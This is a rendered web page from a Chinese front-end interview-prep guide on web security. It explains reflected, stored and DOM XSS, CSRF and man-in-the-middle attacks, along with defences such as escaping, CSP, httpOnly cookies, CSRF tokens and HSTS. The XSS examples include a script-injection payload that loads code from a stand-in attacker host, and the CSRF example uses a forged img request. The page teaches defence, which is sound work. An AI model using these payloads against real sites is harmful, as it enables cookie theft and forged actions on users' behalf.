awesome-interview/book1/network-security/index.html

17 lines
22 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!doctype html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="generator" content="Docusaurus v2.0.0-beta.5">
<title data-react-helmet="true">前端安全 | HZFE - 剑指前端 Offer</title><meta data-react-helmet="true" name="twitter:card" content="summary_large_image"><meta data-react-helmet="true" property="og:url" content="https://hzfe.github.io/awesome-interview/book1/network-security"><meta data-react-helmet="true" name="docusaurus_locale" content="en"><meta data-react-helmet="true" name="docusaurus_version" content="current"><meta data-react-helmet="true" name="docusaurus_tag" content="docs-default-current"><meta data-react-helmet="true" property="og:title" content="前端安全 | HZFE - 剑指前端 Offer"><meta data-react-helmet="true" name="description" content="相关问题"><meta data-react-helmet="true" property="og:description" content="相关问题"><link data-react-helmet="true" rel="shortcut icon" href="/awesome-interview/img/favicon.ico"><link data-react-helmet="true" rel="canonical" href="https://hzfe.github.io/awesome-interview/book1/network-security"><link data-react-helmet="true" rel="alternate" href="https://hzfe.github.io/awesome-interview/book1/network-security" hreflang="en"><link data-react-helmet="true" rel="alternate" href="https://hzfe.github.io/awesome-interview/book1/network-security" hreflang="x-default"><link rel="stylesheet" href="/awesome-interview/assets/css/styles.36d1aa8c.css">
<link rel="preload" href="/awesome-interview/assets/js/runtime~main.21038279.js" as="script">
<link rel="preload" href="/awesome-interview/assets/js/main.de89bd10.js" as="script">
</head>
<body>
<script>!function(){function t(t){document.documentElement.setAttribute("data-theme",t)}var e=function(){var t=null;try{t=localStorage.getItem("theme")}catch(t){}return t}();t(null!==e?e:"light")}()</script><div id="__docusaurus">
<div><a href="#" class="skipToContent_1oUP">Skip to main content</a></div><nav class="navbar navbar--fixed-top"><div class="navbar__inner"><div class="navbar__items"><button aria-label="Navigation bar toggle" class="navbar__toggle clean-btn" type="button" tabindex="0"><svg width="30" height="30" viewBox="0 0 30 30" aria-hidden="true"><path stroke="currentColor" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M4 7h22M4 15h22M4 23h22"></path></svg></button><a class="navbar__brand" href="/awesome-interview/"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_1VuW themedImage--light_3UqQ navbar__logo"><img src="/awesome-interview/img/badge.svg" alt="HZFE" class="themedImage_1VuW themedImage--dark_hz6m navbar__logo"><b class="navbar__title">剑指前端 Offer</b></a></div><div class="navbar__items navbar__items--right"><a href="https://github.com/hzfe/awesome-interview" target="_blank" rel="noopener noreferrer" class="navbar__item navbar__link"><span>GitHub<svg width="13.5" height="13.5" aria-hidden="true" viewBox="0 0 24 24" class="iconExternalLink_3J9K"><path fill="currentColor" d="M21 13v10h-21v-19h12v2h-10v15h17v-8h2zm3-12h-10.988l4.035 4-6.977 7.07 2.828 2.828 6.977-7.07 4.125 4.172v-11z"></path></svg></span></a></div></div><div role="presentation" class="navbar-sidebar__backdrop"></div></nav><div class="main-wrapper docs-wrapper docs-doc-page"><div class="docPage_31aa"><button class="clean-btn backToTopButton_35hR" type="button"><svg viewBox="0 0 24 24" width="28"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z" fill="currentColor"></path></svg></button><aside class="docSidebarContainer_3Kbt"><div class="sidebar_15mo"><nav class="menu thin-scrollbar menu_Bmed menuWithAnnouncementBar_2WvA"><ul class="menu__list"><li class="menu__list-item"><a class="menu__link" href="/awesome-interview/">前言</a></li><li class="menu__list-item"><a class="menu__link menu__link--sublist menu__link--active" href="#">模拟题一</a><ul style="display:block;overflow:visible;height:auto" class="menu__list"><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/browser-cross-origin">浏览器:浏览器跨域</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/browser-repain-reflow">浏览器:浏览器的重排重绘</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/engineer-webpack-workflow">工程化Webpack 工作流程</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/frame-vue-data-binding">框架Vue 的数据绑定机制</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/frame-vue-computed-watch">框架Vue 的 computed 和 watch 的区别</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/js-closures">基础:闭包的作用和原理</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/js-module-specs">基础:前端模块化规范</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/css-bfc">样式BFC 的形成和作用</a></li><li class="menu__list-item"><a class="menu__link menu__link--active" aria-current="page" tabindex="0" href="/awesome-interview/book1/network-security">网络:前端安全</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/coding-promise">编码:实现一个 Promises/A+</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/algorithm-balanced-binary-trees">算法:平衡二叉树</a></li><li class="menu__list-item"><a class="menu__link" tabindex="0" href="/awesome-interview/book1/topic-enter-url-display-xx">综合:浏览器从输入网址到页面展现的过程</a></li></ul></li><li class="menu__list-item menu__list-item--collapsed"><a class="menu__link menu__link--sublist" href="#">模拟题二</a></li><li class="menu__list-item menu__list-item--collapsed"><a class="menu__link menu__link--sublist" href="#">模拟题三</a></li></ul></nav><button type="button" title="Collapse sidebar" aria-label="Collapse sidebar" class="button button--secondary button--outline collapseSidebarButton_1CGd"><svg width="20" height="20" aria-hidden="true" class="collapseSidebarButtonIcon_3E-R"><g fill="#7a7a7a"><path d="M9.992 10.023c0 .2-.062.399-.172.547l-4.996 7.492a.982.982 0 01-.828.454H1c-.55 0-1-.453-1-1 0-.2.059-.403.168-.551l4.629-6.942L.168 3.078A.939.939 0 010 2.528c0-.548.45-.997 1-.997h2.996c.352 0 .649.18.828.45L9.82 9.472c.11.148.172.347.172.55zm0 0"></path><path d="M19.98 10.023c0 .2-.058.399-.168.547l-4.996 7.492a.987.987 0 01-.828.454h-3c-.547 0-.996-.453-.996-1 0-.2.059-.403.168-.551l4.625-6.942-4.625-6.945a.939.939 0 01-.168-.55 1 1 0 01.996-.997h3c.348 0 .649.18.828.45l4.996 7.492c.11.148.168.347.168.55zm0 0"></path></g></svg></button></div></aside><main class="docMainContainer_3ufF"><div class="container padding-top--md padding-bottom--lg"><div class="row"><div class="col docItemCol_3FnS"><div class="docItemContainer_33ec"><article><div class="tocCollapsible_1PrD tocMobile_3Hoh"><button type="button" class="clean-btn tocCollapsibleButton_2O1e">On this page</button></div><div class="markdown"><header><h1>前端安全</h1></header><h2><a aria-hidden="true" tabindex="-1" class="anchor anchor__h2 anchorWithStickyNavbar_31ik" id="相关问题"></a>相关问题<a class="hash-link" href="#相关问题" title="Direct link to heading">#</a></h2><ul><li>如何防范 XSS / CSRF 攻击</li><li>说说 HTTPS 中间人攻击,及其如何防范</li></ul><h2><a aria-hidden="true" tabindex="-1" class="anchor anchor__h2 anchorWithStickyNavbar_31ik" id="回答关键点"></a>回答关键点<a class="hash-link" href="#回答关键点" title="Direct link to heading">#</a></h2><p><code>XSS</code> <code>CSRF</code> <code>中间人攻击</code></p><ul><li><strong>XSS跨站脚本攻击</strong> 是指攻击者利用网站漏洞将代码注入到其他用户浏览器的攻击方式。常见类型有:<ul><li><strong>反射型(非持久性)</strong></li><li><strong>存储型(持久性)</strong></li><li><strong>DOM 型</strong></li></ul></li><li><strong>CSRF跨站请求伪造</strong> 是指攻击者可以在用户不知情的情况下,窃用其身份在对应的网站进行操作。</li><li><strong>中间人攻击MITM</strong> 是指攻击者与通讯的两端分别创建独立的联系,在通讯中充当一个中间人角色对数据进行监听、拦截甚至篡改。</li></ul><h2><a aria-hidden="true" tabindex="-1" class="anchor anchor__h2 anchorWithStickyNavbar_31ik" id="知识点深入"></a>知识点深入<a class="hash-link" href="#知识点深入" title="Direct link to heading">#</a></h2><h3><a aria-hidden="true" tabindex="-1" class="anchor anchor__h3 anchorWithStickyNavbar_31ik" id="1-xss跨站脚本攻击"></a>1. XSS跨站脚本攻击<a class="hash-link" href="#1-xss跨站脚本攻击" title="Direct link to heading">#</a></h3><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="11-反射型非持久性"></a>1.1 反射型(非持久性)<a class="hash-link" href="#11-反射型非持久性" title="Direct link to heading">#</a></h4><p><strong>原理</strong>:攻击者通过在 URL 插入恶意代码,其他用户访问该恶意链接时,服务端在 URL 取出恶意代码后拼接至 HTML 中返回给用户浏览器。</p><p><strong>要点</strong></p><ul><li>通过 URL 插入恶意代码。</li><li>有服务端参与。</li><li>需要用户访问特定链接。</li></ul><p><strong>例子</strong></p><p>攻击者诱导被害者打开链接 <code>hzfe.org?name=&lt;script src=&quot;http://a.com/attack.js&quot;/&gt;</code></p><p>被攻击网站服务器收到请求后,未经处理直接将 URL 的 name 字段直接拼接至前端模板中,并返回数据。</p><p>被害者在不知情的情况下,执行了攻击者注入的脚本(可以通过这个获取对方的 Cookie 等)。</p><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="12-存储型持久性"></a>1.2 存储型(持久性)<a class="hash-link" href="#12-存储型持久性" title="Direct link to heading">#</a></h4><p><strong>原理</strong>:攻击者将注入型脚本提交至被攻击网站数据库中,当其他用户浏览器请求数据时,注入脚本从服务器返回并执行。</p><p><strong>要点</strong></p><ul><li>恶意代码存储在目标网站服务器上。</li><li>有服务端参与。</li><li>只要用户访问被注入恶意脚本的页面时,就会被攻击。</li></ul><p><strong>例子</strong></p><p>攻击者在目标网站留言板中提交了<code>&lt;script src=&quot;http://a.com/attack.js&quot;/&gt;</code></p><p>目标网站服务端未经转义存储了恶意代码,前端请求到数据后直接通过 innerHTML 渲染到页面中。</p><p>其他用户在访问该留言板时,会自动执行攻击者注入脚本。</p><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="13-dom-型"></a>1.3 DOM 型<a class="hash-link" href="#13-dom-型" title="Direct link to heading">#</a></h4><p><strong>原理</strong>:攻击者通过在 URL 插入恶意代码,客户端脚本取出 URL 中的恶意代码并执行。</p><p><strong>要点</strong></p><ul><li>在客户端发生。</li></ul><p><strong>例子</strong></p><p>攻击者诱导被害者打开链接 <code>hzfe.org?name=&lt;script src=&quot;http://a.com/attack.js&quot;/&gt;</code></p><p>被攻击网站前端取出 URL 的 name 字段后未经转义直接通过 innerHTML 渲染到页面中。</p><p>被害者在不知情的情况下,执行了攻击者注入的脚本。</p><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="14-防范-xss"></a>1.4 防范 XSS<a class="hash-link" href="#14-防范-xss" title="Direct link to heading">#</a></h4><ul><li>对于外部传入的内容进行充分转义。</li><li>开启 CSPContent Security Policy内容安全策略规定客户端哪些外部资源可以加载和执行降低 XSS 风险。</li><li>设置 Cookie httpOnly 属性,禁止 JavaScript 读取 Cookie 防止被窃取。</li></ul><h3><a aria-hidden="true" tabindex="-1" class="anchor anchor__h3 anchorWithStickyNavbar_31ik" id="2-csrf跨站请求伪造"></a>2. CSRF跨站请求伪造<a class="hash-link" href="#2-csrf跨站请求伪造" title="Direct link to heading">#</a></h3><p><strong>原理</strong>:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的身份凭证,达到冒充用户对被攻击的网站执行某项操作的目的。</p><p><strong>要点</strong></p><ul><li>利用浏览器在发送 HTTP 请求时会自动带上 Cookie 的原理,冒用受害者身份请求。</li><li>攻击一般发生在第三方网站上。</li><li>攻击者只能“冒用”受害者的身份凭证,并不能获取。</li><li>跨站请求有多种方式,常见的有图片 URL超链接Form 提交等。</li></ul><p><strong>例子</strong></p><p>攻击者在第三方网站上放置一个如下的 img</p><div class="codeBlockContainer_K1bP"><div class="codeBlockContent_hGly html"><pre tabindex="0" class="prism-code language-html codeBlock_23N8 thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_39YC"><span class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag" style="color:#00009f">img</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">&quot;</span><span class="token tag attr-value" style="color:#e3116c">http://hzfe.org/article/delete</span><span class="token tag attr-value punctuation" style="color:#393A34">&quot;</span><span class="token tag" style="color:#00009f"> </span><span class="token tag punctuation" style="color:#393A34">/&gt;</span></span></code></pre><button type="button" aria-label="Copy code to clipboard" class="copyButton_Ue-o clean-btn">Copy</button></div></div><p>受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息浏览器会自动发起这个请求hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。</p><p>若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。</p><p><strong>防范</strong></p><ul><li>使用 CSRF Token 验证用户身份<ul><li>原理:服务端生成 CSRF Token (通常存储在 Session 中),用户提交请求时携带上 Token服务端验证 Token 是否有效。</li><li>优点:能比较有效的防御 CSRF (前提是没有 XSS 漏洞泄露 Token</li><li>缺点:大型网站中 Session 存储会增加服务器压力,且若使用分布式集群还需要一个公共存储空间存储 Token否则可能用户请求到不同服务器上导致用户凭证失效有一定的工作量。</li></ul></li><li>双重 Cookie 验证<ul><li>原理:利用攻击者不能获取到 Cookie 的特点,在 URL 参数或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 一致。</li><li>优点:无需使用 Session不会给服务器压力。</li></ul></li><li>设置白名单,仅允许安全域名请求</li><li>增加验证码验证</li></ul><h3><a aria-hidden="true" tabindex="-1" class="anchor anchor__h3 anchorWithStickyNavbar_31ik" id="3-中间人攻击mitm"></a>3. 中间人攻击MITM<a class="hash-link" href="#3-中间人攻击mitm" title="Direct link to heading">#</a></h3><p><strong>原理</strong>:中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。</p><p><img src="https://user-images.githubusercontent.com/13888962/126036193-20b08345-f37d-40ff-9c76-c9c0993f5068.png" alt="man in the middle mitm attack"></p><blockquote><p>图片来源 <a href="https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/" target="_blank" rel="noopener noreferrer">Man in the middle (MITM) attack</a></p></blockquote><p>成功的中间人攻击主要有两个不同的阶段:<strong>拦截</strong><strong>解密</strong></p><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="31-拦截"></a>3.1 拦截<a class="hash-link" href="#31-拦截" title="Direct link to heading">#</a></h4><p>即攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。</p><p>常见的被动攻击(也是最简单)的方法,攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接了该热点,攻击者就能完全了解其所有的在线数据交换。</p><p>常见的主动攻击有两种:</p><ol><li><strong>ARP 欺骗:</strong> 攻击者利用 ARP 的漏洞,通过冒充网关或其他主机,使得到达网关或其他主机的流量通过攻击者主机进行转发。</li><li><strong>DNS 欺骗:</strong> 攻击者冒充域名服务器,将受害者查询的 IP 地址转发到攻击者的 IP 地址。</li></ol><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="32-解密"></a>3.2 解密<a class="hash-link" href="#32-解密" title="Direct link to heading">#</a></h4><p>拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。</p><p><strong>SSL 劫持(伪造证书)</strong></p><p>攻击者在 TLS 握手期间拦截到服务器返回的公钥后,将服务器的公钥替换成自己的公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。</p><p>因为是伪造的证书,所以客户端在校验证书过程中会提示证书错误,若用户仍选择继续操作,此时中间人便能获取与服务端的通信数据。</p><p><strong>SSL 剥离</strong></p><p>攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。</p><p>服务器可以通过开启 HSTSHTTP Strict Transport Security策略告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。</p><h4><a aria-hidden="true" tabindex="-1" class="anchor anchor__h4 anchorWithStickyNavbar_31ik" id="33-中间人攻击防范"></a>3.3 中间人攻击防范<a class="hash-link" href="#33-中间人攻击防范" title="Direct link to heading">#</a></h4><p>对于开发者来说:</p><ul><li>支持 HTTPS。</li><li>开启 HSTS 策略。</li></ul><p>对于用户来说:</p><ul><li>尽可能使用 HTTPS 链接。</li><li>避免连接不知名的 WiFi 热点。</li><li>不忽略不安全的浏览器通知。</li><li>公共网络不进行涉及敏感信息的交互。</li><li>用可信的第三方 CA 厂商,不下载来源不明的证书。</li></ul><h2><a aria-hidden="true" tabindex="-1" class="anchor anchor__h2 anchorWithStickyNavbar_31ik" id="参考资料"></a>参考资料<a class="hash-link" href="#参考资料" title="Direct link to heading">#</a></h2><ol><li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting" target="_blank" rel="noopener noreferrer">Cross-site scripting</a></li><li><a href="https://www.imperva.com/learn/application-security/man-in-the-middle-attack-mitm/" target="_blank" rel="noopener noreferrer">Man in the middle (MITM) attack</a></li></ol></div></article><nav class="pagination-nav docusaurus-mt-lg" aria-label="Docs pages navigation"><div class="pagination-nav__item"><a class="pagination-nav__link" href="/awesome-interview/book1/css-bfc"><div class="pagination-nav__sublabel">Previous</div><div class="pagination-nav__label">« 样式BFC 的形成和作用</div></a></div><div class="pagination-nav__item pagination-nav__item--next"><a class="pagination-nav__link" href="/awesome-interview/book1/coding-promise"><div class="pagination-nav__sublabel">Next</div><div class="pagination-nav__label">编码:实现一个 Promises/A+ »</div></a></div></nav></div></div><div class="col col--3"><div class="tableOfContents_35-E thin-scrollbar"><ul class="table-of-contents table-of-contents__left-border"><li><a href="#相关问题" class="table-of-contents__link">相关问题</a></li><li><a href="#回答关键点" class="table-of-contents__link">回答关键点</a></li><li><a href="#知识点深入" class="table-of-contents__link">知识点深入</a><ul><li><a href="#1-xss跨站脚本攻击" class="table-of-contents__link">1. XSS跨站脚本攻击</a></li><li><a href="#2-csrf跨站请求伪造" class="table-of-contents__link">2. CSRF跨站请求伪造</a></li><li><a href="#3-中间人攻击mitm" class="table-of-contents__link">3. 中间人攻击MITM</a></li></ul></li><li><a href="#参考资料" class="table-of-contents__link">参考资料</a></li></ul></div></div></div><div class="row"><div class="col"><div class="react-utterences"><div>Loading script...</div></div></div><div class="col col--3"></div></div></div></main></div></div></div>
<script src="/awesome-interview/assets/js/runtime~main.21038279.js"></script>
<script src="/awesome-interview/assets/js/main.de89bd10.js"></script>
</body>
</html>